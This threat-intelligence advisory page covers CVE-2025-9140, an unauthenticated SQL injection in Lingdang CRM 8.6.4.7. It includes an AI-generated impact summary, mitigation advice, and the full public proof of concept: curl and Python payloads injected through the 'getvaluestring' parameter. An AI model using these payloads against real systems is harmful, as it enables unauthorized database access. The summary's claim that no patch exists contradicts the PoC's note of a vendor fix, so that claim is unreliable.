Lingdang CRM 8.6.4.7 - SQL Injection
Lingdang CRM 8.6.4.7 - SQL Injection
AI Analysis
Technical Summary
The Lingdang CRM version 8.6.4.7 suffers from an SQL Injection vulnerability, a common web application security flaw where untrusted input is improperly sanitized before being included in SQL queries. This allows attackers to inject malicious SQL code, potentially leading to unauthorized data retrieval, data modification, or even full database compromise. The vulnerability is critical because it can be exploited remotely via the web interface without authentication, making it accessible to a wide range of attackers. The exploit code is publicly available in Python, which facilitates automated attacks and lowers the technical barrier for exploitation. Although no active exploitation in the wild has been reported, the availability of exploit code increases the risk of future attacks. The lack of official patches or mitigation guidance from the vendor exacerbates the threat. Organizations using Lingdang CRM 8.6.4.7 should consider this vulnerability a high priority due to the potential for data breaches, loss of data integrity, and service disruption. The vulnerability affects the confidentiality, integrity, and availability of affected systems, with a broad scope since CRM systems often contain sensitive customer and business data.
Potential Impact
European organizations using Lingdang CRM 8.6.4.7 face significant risks including unauthorized access to sensitive customer and business data, data tampering, and potential service outages. This can lead to regulatory non-compliance issues under GDPR, reputational damage, and financial losses. Sectors such as finance, healthcare, and government, which rely heavily on CRM systems for managing sensitive information, are particularly vulnerable. The ease of exploitation due to publicly available Python exploit code increases the likelihood of attacks, potentially from opportunistic or targeted threat actors. Disruption of CRM services can also impact business operations and customer trust. The absence of patches means organizations must rely on immediate mitigations to reduce exposure.
Mitigation Recommendations
1. Immediately implement input validation and use parameterized queries or prepared statements in all database interactions to prevent SQL Injection. 2. Conduct a thorough code review of the CRM application to identify and remediate all instances of unsanitized user input in SQL queries. 3. Deploy Web Application Firewalls (WAF) with custom rules to detect and block SQL Injection attempts targeting Lingdang CRM endpoints. 4. Monitor logs for suspicious database query patterns or unusual access attempts. 5. Isolate the CRM system within a segmented network zone to limit lateral movement in case of compromise. 6. Engage with the vendor or community to obtain patches or updates; if unavailable, consider upgrading to a more secure CRM platform. 7. Educate development and security teams about secure coding practices and the risks of SQL Injection. 8. Regularly backup CRM data and test restoration procedures to mitigate data loss impact.
Affected Countries
Germany, France, United Kingdom, Italy, Spain, Netherlands, Poland
Indicators of Compromise
- exploit-code: # Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the # 'getvaluestring' parameter. An unauthenticated remote attacker can perform boolean/time-based # blind SQL injection. Vendor states this was fixed by adopting parameterized queries in v8.6.5+. # Route # /crm/crmapi/erp/tabdetail_moduleSave.php # Parameter # getvaluestring (GET or POST) # Notes # * This PoC does NOT target a live site. Replace TARGET with a lab host you own. # * Demonstrates time-based blind (SLEEP) and boolean-based payloads. # --- Quick PoC with curl (time-based blind) --- # Expect ~5s response delay on vulnerable targets. # GET variant: curl -i -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring='||(SELECT SLEEP(5))--+-" # POST variant: curl -i -k -X POST "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php" \ --data "getvaluestring='||(SELECT SLEEP(5))--+-" # --- Boolean-based example (response/body differences may vary by deployment) --- curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=1-- -" -o /tmp/true.html curl -s -k "http://TARGET/crm/crmapi/erp/tabdetail_moduleSave.php?getvaluestring=' OR 1=2-- -" -o /tmp/false.html # Compare /tmp/true.html vs /tmp/false.html for observable differences. # --- Python 3 PoC (time-based) --- # Save as lingdang_sqli_poc.py and run: python3 lingdang_sqli_poc.py http://TARGET import sys, time, requests def test_time_sqli(base): url_get = f"{base.rstrip('/')}/crm/crmapi/erp/tabdetail_moduleSave.php" payload = "'||(SELECT SLEEP(5))--+-" try: t0 = time.time() r = requests.get(url_get, params={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] GET status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via GET.") else: print("[-] No significant delay observed via GET.") except Exception as e: print(f"[!] GET error: {e}") try: t0 = time.time() r = requests.post(url_get, data={"getvaluestring": payload}, timeout=30, verify=False) dt = time.time() - t0 print(f"[+] POST status={r.status_code} elapsed={dt:.2f}s") if dt >= 5: print("[+] Likely vulnerable to time-based SQLi via POST.") else: print("[-] No significant delay observed via POST.") except Exception as e: print(f"[!] POST error: {e}") if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} http://TARGET") sys.exit(1) requests.packages.urllib3.disable_warnings() test_time_sqli(sys.argv[1]) # --- Impact --- # Confidentiality, integrity, availability compromise via SQL injection (CWE-89). # --- Mitigations --- # 1) Use parameterized queries / prepared statements for getvaluestring. # 2) Server-side input validation and allow-listing for the parameter. # 3) Web Application Firewall (WAF) rules to block SQLi patterns on this route. # --- Disclosure --- # Public identifiers: CVE-2025-9140 (VulDB VDB-320520). # Vendor reportedly fixed in 8.6.5+ with parameterized queries.
Lingdang CRM 8.6.4.7 - SQL Injection
Description
Lingdang CRM 8.6.4.7 - SQL Injection
AI-Powered Analysis
Technical Analysis
The Lingdang CRM version 8.6.4.7 suffers from an SQL Injection vulnerability, a common web application security flaw where untrusted input is improperly sanitized before being included in SQL queries. This allows attackers to inject malicious SQL code, potentially leading to unauthorized data retrieval, data modification, or even full database compromise. The vulnerability is critical because it can be exploited remotely via the web interface without authentication, making it accessible to a wide range of attackers. The exploit code is publicly available in Python, which facilitates automated attacks and lowers the technical barrier for exploitation. Although no active exploitation in the wild has been reported, the availability of exploit code increases the risk of future attacks. The lack of official patches or mitigation guidance from the vendor exacerbates the threat. Organizations using Lingdang CRM 8.6.4.7 should consider this vulnerability a high priority due to the potential for data breaches, loss of data integrity, and service disruption. The vulnerability affects the confidentiality, integrity, and availability of affected systems, with a broad scope since CRM systems often contain sensitive customer and business data.
Potential Impact
European organizations using Lingdang CRM 8.6.4.7 face significant risks including unauthorized access to sensitive customer and business data, data tampering, and potential service outages. This can lead to regulatory non-compliance issues under GDPR, reputational damage, and financial losses. Sectors such as finance, healthcare, and government, which rely heavily on CRM systems for managing sensitive information, are particularly vulnerable. The ease of exploitation due to publicly available Python exploit code increases the likelihood of attacks, potentially from opportunistic or targeted threat actors. Disruption of CRM services can also impact business operations and customer trust. The absence of patches means organizations must rely on immediate mitigations to reduce exposure.
Mitigation Recommendations
1. Immediately implement input validation and use parameterized queries or prepared statements in all database interactions to prevent SQL Injection. 2. Conduct a thorough code review of the CRM application to identify and remediate all instances of unsanitized user input in SQL queries. 3. Deploy Web Application Firewalls (WAF) with custom rules to detect and block SQL Injection attempts targeting Lingdang CRM endpoints. 4. Monitor logs for suspicious database query patterns or unusual access attempts. 5. Isolate the CRM system within a segmented network zone to limit lateral movement in case of compromise. 6. Engage with the vendor or community to obtain patches or updates; if unavailable, consider upgrading to a more secure CRM platform. 7. Educate development and security teams about secure coding practices and the risks of SQL Injection. 8. Regularly backup CRM data and test restoration procedures to mitigate data loss impact.
Affected Countries
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Technical Details
- Edb Id
- 52420
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Lingdang CRM 8.6.4.7 - SQL Injection
# Exploit Title: Lingdang CRM 8.6.4.7 - SQL Injection # Google Dork: N/A # Date: 2025-08-19 # Exploit Author: Beatriz Fresno Naumova # Vendor: Shanghai Lingdang Information Technology) # Software Link: (N/A – commercial product) # Version: <= 8.6.4.7 (fixed in 8.6.5.x per vendor advisory) # Tested on: Generic LAMP stack, PHP 7/8 (PoC uses HTTP only; no OS dependency) # CVE : CVE-2025-9140 # Summary # The endpoint /crm/crmapi/erp/tabdetail_moduleSave.php is vulnerable to SQL injection via the #... (3118 more characters)
Threat ID: 68ae5e7aad5a09ad005d88c5
Added to database: 8/27/2025, 1:25:14 AM
Last enriched: 11/18/2025, 9:18:58 AM
Last updated: 12/1/2025, 1:04:17 PM
Views: 186
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